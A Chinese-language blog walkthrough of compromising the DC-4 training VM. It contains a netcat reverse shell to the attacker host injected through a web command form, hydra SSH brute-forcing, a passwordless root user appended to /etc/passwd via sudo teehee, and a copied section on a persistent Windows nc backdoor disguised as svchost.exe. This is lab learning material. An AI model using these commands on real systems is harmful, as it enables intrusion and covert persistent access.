DC-4 靶机渗透测试
DC-4 渗透测试
冲冲冲,努力学习 。掌握 hydra ,nc反弹shell
记住你要干嘛, 找地方上传shell(大多以后台登录为切入点,再反弹shell),shell提权到root
操作机:kali 172.66.66.129
靶机:DC-4 172.66.66.134
网络模式:NAT
信息收集
基于ARP的网络扫描工具netdiscover
ARP是将IP地址转化物理地址的网络协议。
通过该协议,可以判断某个IP地址是否被使用,从而发现网络中存活的主机。
使用很简单(扫描本地网络):
netdiscover -r 172.66.66.0/24 //使用本机IP段
netdiscover -r 172.66.66.0/24扫描一下

nmap -sV -A -p- 172.66.66.134 -oN /tmp/DC-4.nmap养成好习惯,把扫描结果保存下来
-A :探测操作系统
-sV :探测版本
-p- :探测0~65535端口开放情况

开了22 、80端口
dirb http://172.66.66.134
dirb 后台扫描器,类似 windows下的御剑后台扫描器。

后台没啥有价值的发现,访问80,是个admin登录框,盲猜账号admin,考虑万能密码、爆破,

bp简单爆破一下得到 admin:happy登录,
谨记我们的任务:拿到shell,再提权到root

登录后台发现可以执行命令,然后呢?

查看源码,猜想radio的value是否可以篡改?点击run的时候submit一个反弹shell过去?抓个包测一下

仿佛看到了希望:改一下radio为nc -e /bin/bash 172.66.66.129 7777
nc -e /bin/bash localhost 端口nc 的
-e选项是绑定cmd或者bash但是原理是什么呢?它怎么实现绑定的?另一个问题,为什么要绑定shell?意义何在?放在末尾回答这个问题(主要是为了留后门)
知乎看到的答案,看不懂就先放着吧
等哪天我回过头来翻笔记的时候,希望我能解决我今天的疑问


由于不确定服务器上的nc时候有-e选项,不过不成功的话就来个替代方案
nc 172.66.66.129 777 |/bin/bash| nc 172.66.66.129 8888

操作机打开俩中端分别监听 7777 8888


shell 反弹回来了。有没有发现,这不是交互的shell,那就整一个交互的出来,
python -c 'import pty;pty.spawn("/bin/bash")'
什么才是交互的?简单的理解是:输入与输出都重定向到了所得到的shell里,可以在命令模式输入命令,可以变量赋值... 那又是什么决定了最后的shell交互式与否?

得到一个陌生shell环境,要干嘛?收集信息。
echo $0、cat /etc/passwd | grep /bin/bash、cat /etc/issue、uname -a、python、php、vim、find / -perm -4000 -type f 2>/dev/null、echo $PATH、cd /home ......

留意一下上面这几个可登录的账号 charles、jim、sam,下面是操作系统和版本号

cd /home 下,只有jim里有个 backups的目录,test.sh的权限跟mbox的权限,反差太大了吧,看一眼test.sh


在backups里看到了个old-passwords.bak

还记得开了22端口和前面passwd文件里的可登录账号吗?后台的admin账号我们已经登录上去了,显然这是ssh的登录账号密码?不要在shell里操作靶机写如文件,不要这样做,不要这样做,账号保存到/tmp/users.txt里,密码另存一下放到 /tmp/passwd.txt 操作机写好,开个python服务器传上去。
cd 到文件目录下再执行
hydra -L users.txt -P passwd.txt ssh://172.66.66.134 -t 5 -vV

爆破结果:jim:jibril04 (登录之后不忘看看基本信息 如sudo -l等)

登录提示 you have mail
linux 的邮件一般放在这个路径 var/mail 或者 /var/spool/mail(软连接) cat 一下看看内容

得到:charles:^xHhA&hvim0y 切换账号

root权限免密码使用teehee ,teehee会用吗?滚去学teehee -a /etc/passwd
当发现有最追加写入文件功能的时候,直接往 /etc/passwd 里加个root用户
passwd的格式:[⽤户名]:[密码]:[UID]:[GID]:[⾝份描述]:[主⽬录]:[登录shell]
echo "axb::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
(不设置密码就是免密码登录了吗?shadow文件没有写入相关信息)

提权到root

收获:
- hydra 会用吗?不会 ......滚回去学 (:_
- 我学完回来了.... -_-
- 不要尝试在目标机上编写文件,自己本地写好,传上去,nc传,python 简单服务器传,都行,就是不要在目标机上写,vi vim退不出来,把shell整没了就裂开。
- kali 里一个神奇的目录:
/usr/share/wordlists里面有个各种各样的字典,很多工具的字典都软连接到了里面。进去多用| grep筛选一下自己想要的内容。- 如果有root权限,能写入文件的话,考虑在 /etc/passwd 下加一个root账号,直接登录就可以了。
- teehee提权?这命令啥东西? 注意一个用法, echo 内容 | 写入目标文件 ,多用管道符。
hydra
-R 根据上一次进度继续破解
-S 使用SSL协议连接
-s 指定端口
-l 指定用户名
-L 指定用户名字典(文件)
-p 指定密码破解
-P 指定密码字典(文件)
-e 空密码探测和指定用户密码探测(ns)
-C 用户名可以用:分割(username:password)可以代替-l username -p password
-o 输出文件
-t 指定多线程数量,默认为16个线程
-vV 显示详细过程
server 目标IP
service 指定服务名(telnet ftp pop3 mssql mysql ssh ssh2......)
nc制作简单后门
首先请准备好不被杀的nc.exe(随便加个壳就可以了的),还有sc.exe(这个是操作服务的一个小工具,被人称为操作服务的军刀),这些就可以打造我们自己的后门了,后门的要求我想不需要很强的操作功能,只需要当我们连接的时候获得一个system权限的shell就可以了,有了cmdshell做什么不可以呢。如果你需要反弹的后门,也可以做到,自己注册个域名就可以用nc反弹了,因为比较复杂这里就不说了。我们知道nc就是实现我们的后门功能的最经典的工具,我们来看看nc的帮助,命令行下输入nc -h就可以看到,我们主要用到的几个参数如下:
-e 绑定一个程序并且连接时执行
-l 监听模式
-p 指定nc要运行的本地端口
-L 增强了的监听模式,当连接断开时再次监听
至于其他的用法相信各位已经很了解了的,我们以前经常用到的是
nc -l -e cmd.exe -p 8888 \监听8888端口,当有连接时重定向到cmd.exe实现绑定一个shell\
这样的形式用serveru等溢出程序执行后来绑定一个可以得到shell的端口8888,我们telnet或者nc连接上来的时候就可以直接获得一个shell。但是这样连接断开之后监听的端口就会关闭,是一次性的,不能再次获得shell,这样当然不适合于做后门了。后来发现nc的这个参数L可以一直保持监听的状态,可以反复连接。用
nc -L -e cmd.exe -p 8888 \也是绑定的,不过加强了的\
这样的命令就已经达到我们的目的了,但是我们往往是在溢出的shell里工作,留后门是为了以后的进入,那我们如何保证nc再机器重起之后还可以工作从而实现我们的后门的目的呢?你可以把他放到注册表的Run等启动项下面,但是感觉那样不是太好,有些地方已经被杀毒软件盯上了,把我的后门放到那里实在不是很放心,后来想到干脆作成服务吧!随着系统启动而启动,呵呵。那就看看如何打造服务吧!
首先我们将nc.exe放到%systemroot%\system32下面,起名叫svch0st.exe或者放到%systemroot%\system下面更名叫svchost.exe,这样的目的是为了在任务管理器里看不出异样。然后用sc替换系统的服务,不用改别的,只要修改他的执行路径就可以了,我们就改那个clipsrv.exe服务吧!命令如下:
sc config clipsrv start= auto \将clipsrv.exe服务设置为自动\
sc config cli
DC-4 靶机渗透测试的更多相关文章
- DC-1 靶机渗透测试
DC-1靶机渗透测试 对着镜子大喊三声"太菜了""太菜了""太菜了" DC系列靶机的第一篇.边学习边日靶机边进步,摸爬滚打着前行. 内容不只 ...
- DC-5 靶机渗透测试
DC-5 靶机渗透测试 冲冲冲,好好学习 .核心:footer 文件包含漏洞,wfuzz .收获总结写在文末. 谨记任务:找地方上传shell---> root. 操作机:kali 172.66 ...
- DC-2 靶机渗透测试
DC-2 靶机渗透测试 冲冲冲,好好学习. 本靶机核心内容"受限shell提权",知识点在另一篇文章中总结归纳了. 攻击机:kali 靶 机:DC-2 准备:在使用前需要在操作机的 ...
- DC-9 靶机渗透测试
DC-9 渗透测试 冲冲冲,好好学习 DC系列的9个靶机做完了,对渗透流程基本掌握,但是实战中出现的情况千千万万,需要用到的知识面太广了,学不可以已. 靶机IP: 172.66.66.139 kali ...
- DC-7 靶机渗透测试
DC-7 渗透测试 冲冲冲,好好学习 .对管道符的理解加深了好多.最后提权时,遇到了点麻烦.想不懂一条命令为啥能执行生效,耗了一整天才算解决掉. 操作机:kali 172.66.66.129 靶机:D ...
- DC-8 靶机渗透测试
DC-8 渗透测试 冲冲冲 ,好好学习 . 核心:cms上传添加存在漏洞组件,利用该组件getshell 操作机:kali 172.66.66.129 靶机:DC-4 172.66.66.137 网络 ...
- DC-6 靶机渗透测试
DC-6 渗透测试 冲冲冲,好好学习 . 收获总结写在文末. 操作机:kali 172.66.66.129 靶机:DC-4 172.66.66.136 网络模式:NAT 上来一波 netdiscove ...
- DC 1-3 靶机渗透
DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...
- vulnhub-DC:7靶机渗透记录
准备工作 在vulnhub官网下载DC:7靶机DC: 7 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 已经知道了靶 ...
随机推荐
- 【源码分析】- 在SpringBoot中你会使用REST风格处理请求吗?
目录 前言 1.什么是 REST 风格 1.1 资源(Resources) 1.2 表现层(Representation) 1.3 状态转化(State Transfer) 1.4 综述 ...
- 深度学习的优化器(各类 optimizer 的原理、优缺点及数学推导)
深度学习优化器 深度学习中的优化器均采用了梯度下降的方式进行优化,所谓炼丹我觉得优化器可以当作灶,它控制着火量的大小.形式与时间等. 初级的优化器 首先我们来一下看最初级的灶台(100 - 1000 ...
- excel函数提取身份证出生日期,分离日期时间的日期和时间
1.提取身份证出生日期 =1*TEXT(MID(H13,7,8),"0-00-00")用MID函数提取表示日期的位数,再用text函数转换为格式1998-6-21格式的文本,再通过 ...
- Linux中的chkconfig
chkconfig是用来查看开机自启动项目的命令.默认列出linux系统开机自启的项目.平时我们使用时习惯加上--list 从这个图中可以看到当前系统有哪些开机启动项目,就是红色框中的on. 那么怎么 ...
- MIT6.828 Lab3 User Environments
Lab3 这个实验分成了两个大部分. 1. PartA User Environments and Exception Handling kernel使用Env这个数据结构来trace每一个user ...
- 详细解释 使用FileReference类加载和保存本地文件
一般而言,用户不希望web浏览器中运行的应用程序访问电脑硬盘里的文件.然而,随着基于浏览器(browser-based)的富因特网应用程序的增多,一些应用程序迫切需要访问用户所选择的文件,或者将文件保 ...
- 在Docker运行的Nignx内部署前后端分离项目
环境准备: Linux服务器: IP: 192.168.1.10 前端打包后的Vue项目: Port-3000, 请求地址192.168.1.10:8080 后端打包后的Java项目: Port-80 ...
- 同步工具——Exchanger
本博客系列是学习并发编程过程中的记录总结.由于文章比较多,写的时间也比较散,所以我整理了个目录贴(传送门),方便查阅. 并发编程系列博客传送门 本文是转载文章,原文请见这里 一.Exchanger简介 ...
- nginx开启tls1.2及一些注意问题
因为http传输是明文,通过抓包很容易获取到报文, 所以现在很多站点都开启了https,HTTPS在HTTP的基础上加入了SSL协议,对传输的数据进行加密. 目前主流的ssl协议是tlsv1.2 ng ...
- gitlab git 安装
1.配置yum源 vim /etc/yum.repos.d/gitlab-ce.repo [gitlab-ce] name=Gitlab CE Repository baseurl=https://m ...
